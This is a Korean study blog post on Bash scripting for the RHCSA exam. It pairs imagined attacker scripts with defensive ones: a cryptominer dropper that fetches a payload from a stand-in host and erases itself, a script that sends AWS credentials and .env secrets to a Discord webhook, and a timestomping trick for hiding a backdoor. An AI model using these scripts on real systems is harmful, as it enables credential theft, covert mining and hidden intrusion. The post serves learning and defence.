쉘 스크립트를 공격/방어 스크립트로 익혀보기
쉘 스크립트야... 우리 조금만 더 친해지자
어제 좀… 딴 짓을 많이 하기도 했고, 다음주부터는 진짜 모의고사만 주구장창 풀다가 응시하러 가야해서, 오늘은 RHCSA 공부만 하루종일 했다.
요즘 그래도 이 자격증을 공부한다고, 나름 리눅스랑 많이 친해진 거 같은데, 여전히 쉘스크립트를 그냥 카톡을 하듯이 자연스럽게 짜기란.. 쉽지 않은 거 같다.
딱히 쓸 소재도 없고 해서, 오늘은 이 쉘스크립트의 기본 문법을 좀 정리해보고, 리눅스 시스템을 해커들이 공격할 때 쓰는 쉘스크립트와 그 방어 스크립트를 좀.. 내 뇌피셜로 좀 작성해보려고 한다.
1. 쉘 스크립트 기초 문법
RHCSA 스크립트 문제들을 풀면서 가장 많이 쓰는 뼈대 문법들이다.
① 시스템에 보내는 첫 줄 (Shebang)
#!/bin/bash
이 파일이 Bash 쉘로 실행된다는 걸 알려주는 선언. 안 쓰면 환경에 따라 꼬일 때가 있어서 무조건 첫 줄에 넣는 습관을 들이고 있다.
② 변수 선언
TARGET_SERVER="server-01"
echo "Target is: $TARGET_SERVER"
변수에 값을 넣을 때 = 양옆에 띄어쓰기를 하면 에러가 난다. 처음엔 이것 때문에 오타 찾느라 시간을 꽤 버렸는데, 지금은 손에 좀 익었다.
③ 조건문 (If문)
if [ "$USER" == "root" ]; then
echo "루트 권한입니다."
else
echo "일반 사용자입니다."
fi
조건문 닫을 때 if를 뒤집어서 fi라고 쓰는 게 독특하다. 대괄호 [ ] 안쪽에 공백을 꼭 줘야 하는 것도 리눅스 쉘만의 특징적인 문법이다.
④ 반복문 (For문)
for IP in 192.168.1.{1..5}; do
ping -c 1 $IP
done
작업 자동화의 핵심. 서버 여러 대나 파일을 일괄 처리할 때 무조건 쓰게 된다.
2. 뇌피셜로 짜보는 공격과 방어 스크립트
쉘스크립트가 관리자한테는 반복 작업을 줄여주는 고마운 도구지만, 반대로 생각해보면 악의적인 목적을 가진 사람한테도 똑같이 유용한 도구다.
보안 관련 글들을 읽어보면서, 만약 서버를 뚫고 들어온 공격자라면 이런 식으로 스크립트를 짜지 않았을까 상상해봤다.
코인 채굴기 설치 (Cryptojacking)
서버 점령 후 가장 흔하게 한다는 채굴 스크립트 설치다. 모니터링 시스템에 걸리지 않는 게 목적일 테니 리소스를 제한하고 흔적을 지울 것 같다.
#!/bin/bash
# 1. /tmp 같은 임시 디렉토리로 이동해서 작업
cd /tmp
# 2. 채굴기 파일을 тихо(조용히) 다운로드 받고 실행 권한 부여
wget -q http://malicious-server.xyz/payload.bin -O system_updater
chmod +x system_updater
# 3. CPU를 너무 많이 먹으면 걸리니까 쓰레드를 제한하고 백그라운드(&)로 실행
./system_updater --cpu-max-threads-hint=50 > /dev/null 2>&1 &
# 4. 다 끝난 후 실행한 스크립트 자체를 삭제
rm -f $0
변장 시스템 파일처럼 이름을 바꾸고 조용히 CPU를 갉아먹는 게 포인트다.
비정상 CPU 점유 프로세스 킬러
위 같은 상황을 막으려면, 내 서버에서 주기적으로 이상한 프로세스가 돌고 있는지 확인해야 한다. RHCSA 시험에도 관련 명령어가 나오길래 응용해봤다.
#!/bin/bash
THRESHOLD=80
# 프로세스 목록을 CPU 사용량 기준으로 정렬해서 맨 위 정보만 가져옴
TOP_PROG=$(ps -eo pid,pcpu,comm --sort=-pcpu | head -n 2 | tail -1)
PID=$(echo $TOP_PROG | awk '{print $1}')
CPU_USAGE=$(echo $TOP_PROG | awk '{print $2}' | cut -d. -f1)
PROC_NAME=$(echo $TOP_PROG | awk '{print $3}')
if [ "$CPU_USAGE" -gt "$THRESHOLD" ]; then
# 정상적인 시스템 데몬(sshd, systemd 등)이 아닐 경우 바로 종료 처리
if [[ "$PROC_NAME" != *"systemd"* && "$PROC_NAME" != *"sshd"* ]]; then
echo "[Kill] $PROC_NAME (PID: $PID) - CPU $CPU_USAGE% 사용"
kill -9 $PID
fi
fi
간단하게 awk랑 cut으로 문자열을 파싱해서 kill 시키는 구조다. 크론탭에 넣고 1분마다 돌리면 나름 쓸만할지도.
디스코드 웹훅으로 서버 정보 빼돌리기
요즘은 해커 개인 서버로 데이터를 보내면 방화벽에 걸리거나 ip 추적이 될 수 있으니, 상용 메신저 API(디스코드, 텔레그램)를 악용한다고 한다. .env 파일 같은 걸 읽어서 웹훅으로 던지는 스크립트를 짜봤다.
#!/bin/bash
WEBHOOK_URL="https://discord.com/api/webhooks/xxxxx/yyyyy"
# 1. 서버에 남겨진 민감한 자격 증명 파일 읽어오기
STOLEN_AWS=$(cat ~/.aws/credentials 2>/dev/null)
STOLEN_ENV=$(cat /var/www/html/.env 2>/dev/null)
# 2. curl로 웹훅에 쏴주기
curl -H "Content-Type: application/json" \
-X POST \
-d "{\"content\": \"[Data Exfiltration]\nAWS:\n\`\`\`$STOLEN_AWS\`\`\`\nENV:\n\`\`\`$STOLEN_ENV\`\`\`\"}" \
$WEBHOOK_URL
curl 명령어 하나만으로도 이렇게 시스템 내부 정보를 바깥으로 쉽게 빼낼 수 있다는 게 무섭다.
주요 설정 파일 변경 감지기
그럼 반대로 시스템 설정 파일(/etc 하위 파일 등)에 누군가 손을 대면 나한테 알려주는 로직이 필요하다. inotify-tools를 활용하면 파일 변경 이벤트만 계속 바라볼 수 있다.
#!/bin/bash
TARGET_DIR="/etc"
# inotifywait으로 파일 수정, 삭제 이벤트를 모니터링
inotifywait -m -r -e modify,delete,attrib $TARGET_DIR |
while read DIRECTORY EVENT FILE; do
echo "[Alert] $DIRECTORY$FILE 경로에서 $EVENT 발생"
# 여기서 역으로 내 슬랙이나 메신저로 알림을 보내도록 구성할 수 있다.
done
[번외] 타임스탬프 덮어쓰기 (Timestomping)
아래와 같이 최근 변경된 파일에 안결리게 백도어 파일을 만들어놓고 정상적인 시스템 파일인 것처럼 날짜를 위장할 때 쓴다고 한다.
# /bin/bash 명령 파일의 타임스탬프 날짜를 가져와서 백도어 스크립트 수정 시간에 똑같이 덮어씌움
touch -r /bin/bash /tmp/backdoor.sh
이렇게 해두면 나중에 관리자가 “최근 수정된 파일”을 검색할 때 교묘하게 빠져나갈 수 있다. 리눅스 기본 명령어를 잘 알수록 이런 꼼수도 가능한 것 같다.
마무리
RHCSA 시험 준비용으로 쉘 스크립트를 보고 있지만, 결국 이걸 누가, 어떤 목적으로 쓰느냐에 따라 서버를 돕는 도구가 될 수도, 파괴하는 도구가 될 수도 있다.
솔직히 대 AI 에이전트 시대에 알아서 뚝딱뚝딱 다 만들어주는 세상에서, 이렇게 까만 터미널 창 띄워놓고 밑단 서버 명령어들을 공부하고 있으니 약간 현타(?)가 올 때도 있다.
하지만 AI가 아무리 발전해서 인프라를 대신 배포해 준다 하더라도, 그 밑바탕에서 돌아가는 OS와 시스템의 원리를 모르면 장애가 나거나 해킹 공격이 들어왔을 때 원인을 파악할 수가 없다. 문제를 진단하고 툴이나 AI에게 제대로 지시를 내리려면 결국 이런 로우레벨(Low-level) 지식과 뼈대가 있어야 한다고 본다.
시대가 변해도 이런 밑단 공부는 충분히 가치 있고 중요한 것 같다. 어쨌든 친해져서 나쁠 건 없으니까!
마침.